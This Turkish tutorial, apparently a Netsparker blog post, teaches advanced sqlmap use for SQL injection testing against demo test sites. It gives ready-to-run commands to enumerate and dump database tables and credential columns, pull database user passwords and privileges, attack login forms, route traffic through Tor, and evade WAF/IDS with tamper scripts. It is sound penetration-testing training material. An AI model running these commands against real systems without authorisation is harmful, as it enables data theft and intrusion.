İleri Seviye Sqlmap Kullanımı
Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Sqlmap'te kullanılan parametrelerin neredeyse tamamı önemli işlevlere sahip parametrelerdir. Bu yazıda söz konusu parametrelerden bazıları hakkında bilgiler verilmiş ve örnekler gösterilmiştir. Ayrıca Netsparker Desktop'ın sunduğu sqlmap komutlarını kopyalayabilme desteği hakkında da bilgilendirme yapılmıştır.
Bu yazımızda, özellikle pentesterların yoğun bir şekilde kullandığı sqlmap aracı hakkında bazı tüyolar ve gelişmiş kullanım örnekleri vereceğiz. Bununla birlikte Netsparker Desktop’ın SQL Injection açıklarında sqlmap aracı için sağlamakta olduğu destekten de bahsediyor olacağız.
Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Bünyesinde barındırdığı özellikler sayesinde, veri tabanı sunucularının yönetimini ele geçirmekten hedef sunucunun işletim sisteminde komut çalıştırmaya kadar pek çok işlevi yerine getirebilmektedir. Birçok veri tabanı yönetim sistemi için desteği bulunan sqlmap aracını şu bağlantıdan indirebilirsiniz:
https://github.com/sqlmapproject/sqlmap
Basit Kullanım Örnekleri
İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u
ya da --url
parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:
Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs
parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs
Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump
-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.
Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.
Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir.
Yetki Kontrolü
Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users
parametresini, kullanıcıların parolaları için --passwords
parametresini, kullanıcı yetkileri için --privileges
parametresini ve kullanıcı rolleri için ise --roles
parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U
parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba
parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False" değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:
sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles
Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.
Birden Fazla Hedefi Tarama
Sqlmap’in -m
parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txt dosyasında bulunan URL’ler sqlmap ile taratılabilir:
http://php.testsparker.com/artist.php?id=2
http://aspnet.testsparker.com/blog/what-are-the-advantages-of-bitcoin-62/
http://192.168.1.38/index.php?action=gallery_view&gallery_id=1
http://localhost/index.php?action=test
Bunun için, parametreden sonra dosyanın path’i belirtilir:
sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"
Bir İstek Dosyası Yükleme
Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:
GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello
Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):
sqlmap -r "istek.txt"
Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.
POST İsteği Yapma
Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data
parametresiyle POST isteği yapmak mümkündür.
Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:
Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:
sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"
Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p
) ve DBMS bilgisini (--dbms
) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:
POST http://192.168.1.37/index.php HTTP/1.1
Host: 192.168.1.37
Connection: keep-alive
Content-Length: 341
Cache-Control: max-age=0
Origin: http://192.168.1.37
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHFlodLUdWprARroi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.37/index.php?action=login
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=0htj53cii9juj28a2gui2qe2c0;
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="name"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="password"
admin
------WebKitFormBoundaryHFlodLUdWprARroi
Content-Disposition: form-data; name="duration"
mins30
------WebKitFormBoundaryHFlodLUdWprARroi--
Kullanacağımız komut:
sqlmap -r istek.txt -p "loginname" --dbms="MySQL"
Not: Basit parametrelerden biri olan --dbms
testlerin daha hızlı bitmesini sağlayabilir. Daha önceden bildiğiniz ya da testler sırasında öğrendiğiniz veri tabanı yönetim sistemlerinden hangisinin kullanıldığı bilgisini parametreye değer olarak verdiğinizde sqlmap, sonraki testlerde sadece söz konusu DBMS’e odaklanacaktır. Diğer DBMS’ler için gereken testleri atlayarak saldırıların süresini kısaltmış olacaktır.
Forms Parametresi
POST istekleriyle ilintili başka bir parametre ise --forms
parametresidir. Bu parametreyi kullanarak URL’deki formların sqlmap tarafından tespit edilmesinin sağlanması mümkündür. Kullanımı şu şekildedir:
sqlmap -u http://192.168.1.37/index.php?action=login --forms
Ardından sqlmap, sizden formu test etmek isteyip istemediğinizi soracak ve olumlu cevap verdiğiniz takdirde POST verisini düzenlemenizi isteyecek. Test edilmesini istemediğiniz formlar için olumsuz cevap verdiğinizde bir sonraki form için aynı soruyu soracaktır.
URL Rewrite’ın Aktif Olma Durumu
Sqlmap, URI path’lerine karşı otomatik olarak herhangi bir test gerçekleştirmemesine rağmen bu path’leri manuel olarak işaretleyerek sqlmap’in test edebilmesini sağlamak mümkündür. Bu yöntem özellikle URL Rewrite özelliğinin aktif olduğu durumlarda yarar sağlamaktadır. Bu işlem için sadece parametrenin aldığı değerin sonuna asterisk (*) karakteri eklenmelidir. Şu şekilde örnek verebiliriz:
sqlmap -u "http://example.com/blog/yazi/1*"
URL Rewrite’sız hali ise şöyle olurdu:
sqlmap -u "http://example.com/blog.php?yazi=1"
Yukarıda da olduğu gibi hangi parametrenin işaretlenmesi gerektiğine manuel olarak karar verebilmenizin yanı sıra sqlmap bunu, sizin onayınızı aldıktan sonra otomatik olarak da yapabilmektedir.
HTTP Authentication
Sqlmap ile Basic, Digest, NTLM ya da PKI kimlik doğrulaması isteyen uygulamalarda da tarama yapmak mümkün. Bunun için kullanılan parametre --auth-type
parametresidir. Gerekli oturum bilgileriniyse --auth-cred
parametresiyle tanıtıyoruz. Örnek bir kullanım aşağıdaki gibidir:
sqlmap -u http://exapmle.com/main.php?action=writer&id=1 --auth-type="Basic" --auth-cred="user:password"
Credential’larda bir yanlışlık olursa şu hatayı almamız kaçınılmaz olur:
[09:53:40] [CRITICAL] not authorized, try to provide right HTTP authentication type and valid credentials (401)
[09:53:40] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
Proxy ve Tor Kullanımı
Proxy kullanımı için sağlanan parametre --proxy
parametresidir. Şayet kullanılacak proxy’e ait credential’lar mevcutsa bunu tanıtmak için --proxy-cred
parametresi kullanılır. Ayrıca bir dosyadan proxy listesi dahil etmek için --proxy-file
parametresine ihtiyaç duyarız. Proxy’nin protokolü (HTTP/S) mutlaka girilmelidir. Örnek kullanım şöyledir:
sqlmap -u "http://example.com/index.php?id=test" --proxy="http://127.0.0.1:80:80 --proxy-cred="user:pass"
Tor Parametresi
Tor proxy’sini kullanmak da oldukça basit. Tor bağlantısı ile tarama yapabilmek için öncelikle bilgisayarınızda Tor Browser ya da Tor Bundle’ın yüklü olması gerekir. Sqlmap’te kullanımı --tor
parametresi ile sağlanır. Bağlantının gerçekleşmesi için Tor’un çalıştırılmış olması gerekir. Bununla birlikte --tor-proxy
ve --tor-type
parametrelerinin de tanıtılması gerekebilir. Örnek kullanım şöyledir:
sqlmap -u "http://aspnet.testsparker.com/Products.aspx?pId=4" --tor --tor-type="SOCKS5" --tor-port=9050
Burada dikkat edilmesi gereken nokta şu ki Tor’un varsayılan port numarası 9050 iken Tor Browser’ın varsayılan port numarası 9150 gelmektedir. Son olarak komutun sonuna ekleyeceğimiz --check-tor
parametresi ile Tor bağlantısının durumu öğrenebiliriz. Bağlantı gerçekleştiği takdirde sqlmap çıktısı şöyle olacaktır.
[10:11:31] [INFO] checking Tor connection
[10:11:32] [INFO] Tor is properly being used
Level - Risk Parametreleri
Söz konusu parametreler sqlmap’in hangi testleri yapacağını belirtir. Ön tanımlı olarak --level
parametresi 1 olarak gelir ve 1-5 arası değer alabilir. --risk
parametresinin varsayılan değeri 1’dir ve 1-3 arası değer alabilir. Örnek case üzerinden gidecek olursak, şu komutu çalıştırdığımızda;
sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs
Çeşitli denemelerin ardından sqlmap’in şu hatayı verdiğini görürüz:
[10:33:23] [WARNING] GET parameter 'id' does not seem to be injectable
[10:33:23] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
Sqlmap, hedefe uygun testi gerçekleştirmemiş ve bu yüzden hedefte SQL Injection’ın var olduğunu doğrulayamamıştır. Şimdi ise komutumuza SQL sorgu denemelerini çeşitlendiren --risk
parametresi ve prefix, suffix, payload çeşitlerini belirleyen --level
parametresini uygun değerleriyle ekliyoruz:
sqlmap -u "http://php.testsparker.com/artist.php?id=test" --dbs --risk=3 --level=3
Uzun bir bekleyişin ardından “Boolean-based-blind” ve “AND/OR time based blind” türünde SQL Injection açığının bulunduğunu öğrenmiş olduk. Ayrıca veri tabanı isimlerini bulmak için denemelere başladı:
Not: Risk ve level değerlerini artırdığınızda yapılan testlerin sayısı artar. Bu testleri bir nebze olsun hızlandırabilmek için --threads
parametresini kullanırız. Bu parametreyle eş zamanlı bağlantı sayısını değiştirmemiz mümkün. Varsayılan değeri 1 iken daha fazla payload’un eş zamanlı olarak test edilmesini sağlamak için 10 değerini verebiliriz. Ek olarak --eta
parametresiyle, yapılan işlemler için tahmini bitiş süresi bir progress satırı şeklinde ekrana yansıtılmaktadır. Örneğin:
Hangi level ve risk değerinde, hangi veri tabanı için hangi testin yapıldığını sqlmap\xml dizininde yer alan payloads klasöründeki XML dosyaları inceleyerek öğrenebilirsiniz. Ayrıca size özel payload’lar tanımlamak için de bu dosyaları düzenleyebilirsiniz.
Risk değerleri ve değerlere göre yapılan testler şöyledir:
- 1 - Ön tanımlı olarak gelen değer.
- 2 - Time Based ataklar uygular.
- 3 - OR Based ataklar uygular.
Level değerleri ve değerlere göre yapılan testler şöyledir:
- 1 - Ön tanımlı olarak gelen değer. 100’den az istek gönderir.
- 2 - 100 ile 200 arası istek uygular.
- 3 - 200 ile 500 arası istek uygular.
- 4 - 500 ile 1000 arası istek gönderir.
- 5 - 1000’den fazla istek gönderir.
Tamper Parametresi ve WAF/IPS/IDS Bypass
Hedef taratılırken şöyle bir uyarıyla karşılaşıyorsak hedef uygulamayla backend DBMS arasında bir girdi doğrulama mekanizmasının var olduğunu anlayabiliriz:
[11:36:30] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:36:30] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
Bunun bir WAF (Web Application Firewall), IPS (Intrusion Prevention System), IDS (Intrusion Detection System) vasıtasıyla ya da uygulamanın kaynak kodunda bulunan bir doğrulamayla sağlanması mümkün. Tam da bu noktada sqlmap aracı, --tamper
parametresiyle yardımımıza koşuyor. Bu parametreyi, sqlmap\tamper dizininde bulunan scriptler ya da custom olarak ekleyebileceğiniz scriptler aracılığıyla çalıştırdığınızda hedef uygulamadaki WAF/IPS/IDS’nin bypass edilmesi mümkün hale getirilebilir.
WAF/IPS bulunan bir hedefi taratırken şöyle bir soruyla karşılaşabiliriz:
[11:44:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[11:44:43] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
Vereceğimiz olumlu cevap ile sqlmap, WAF/IPS/IDS’yi tespit etmeye çalışacak ve bulabildiği takdirde uygun tamper script’ini bize önerecektir. Manuel olarak daha ayrıntılı bir WAF testi yapmak için --identify-waf
parametresinden yararlanabiliriz. Örneğin MySQL veri tabanını ve boşlukları validate eden bir WAF’ı kullanan bir uygulamayı taradığımızı düşünelim. Burada denememiz gereken MySQL’in boşluk satırı olarak kullandığı karakterleri kullanarak WAF’ı bypass etmeye çalışmak olacaktır. Şu tamper dosyası işimizi görecektir:
sqlmap -u "http://example.com/main.php?id=test" --tamper="space2mysqlblank.py"
Bunun neticesinde enjekte etmek istediğimiz payload (ör: SELECT password FROM users) şu hale geldi: SELECT%0Bpassword%0BFROM%A0users
Ayrıca birden fazla tamper dosyasını kullanmak için dosya isimlerinin arasına virgül koymak yeterli.
Genel Bazı Parametreler
Sqlmap, bünyesinde pek çok yararlı parametreyi barındırmaktadır. Buraya kadar bazı parametrelerin açıklamaları ve örneklerine değindik. Son olarak, yararlı olabileceğini düşündüğümüz birkaç parametreyi de ekleyelim.
--batch: Bu parametre ile sqlmap’in sorduğu sorulara otomatik olarak varsayılan cevabı vermiş oluruz.
--answer: --answer="quit=N,follow=N"
gibi bir kullanımla söz konusu sorularla karşılaşıldığında otomatik olarak istediğimiz cevapların verilmesini istedik.
--mobile: Mobil bir hedefe yaptığımız saldırı, hedef tarafından uygun User-Agent’ı bulundurmadığımız için engellenebilir. Bu parametreyle sqlmap testlerini bir mobil client gibi tanıtıyoruz.
-v: Varsayılan değeri 1’dir. 0-6 arası değer verebiliriz. Bu parametre ile testler sırasında oluşan logları sqlmap ekranın görmemiz mümkün hale geliyor.
-t: Tüm HTTP trafiğini ekrana yansıtmak yerine belirlediğimiz bir metin dosyasına aktarır.
--force-ssl: HTTPS isteği yaparken bu parametreyi kullanabilirsiniz. Alternatif olarak Host adresinin sonuna 443 port numarası da eklenebilir.
--version: Mevcut sqlmap sürümünü ekrana yansıtır.
--update: Sqlmap’i otomatik olarak günceller. Windows sistemlerde çalışmamaktadır. Güncellemeyi manuel olarak yapmak gerekir.
Netsparker’ın Sqlmap Desteği
Netsparker Desktop, bulunan SQL Injection zafiyetleri için sqlmap’te kullanabileceğiniz komutları hazır halde sunmaktadır. Netsparker, bulduğu SQL Injection zafiyetinin sqlmap’te tespiti için gerekli olan parametreleri otomatik olarak oluşturur. Bunun için zafiyetin üstüne sağ tıklayıp "Copy sqlmap Command" seçeneğine tıklamak yeterli.
Kopyalanan komutu sqlmap’te çalıştırabiliriz:
Netsparker, bulunan SQL Injection zafiyetinin testini sqlmap’te yapabilmeniz için gereken tüm parametreleri otomatik olarak ekler. Örneğin yukarıdaki örnekte -p parametresiyle vulnerable olan parametre, --risk
parametresiyle denenecek payloadların seviyesi, --user-agent
bilgisi, --headers
parametresiyle Netsparker’ın tarama sırasında kullandığı header bilgisi ve son olarak --dbms
parametresiyle uygun DBMS bilgisi otomatik olarak oluşturuldu.